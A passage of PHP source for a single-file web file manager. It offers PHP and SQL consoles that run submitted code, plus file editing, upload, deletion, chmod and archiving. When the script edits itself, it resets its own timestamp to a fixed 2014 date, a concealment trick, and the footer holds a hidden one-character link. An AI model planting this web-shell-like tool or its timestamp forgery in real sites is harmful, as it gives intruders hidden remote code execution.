if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').' ('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
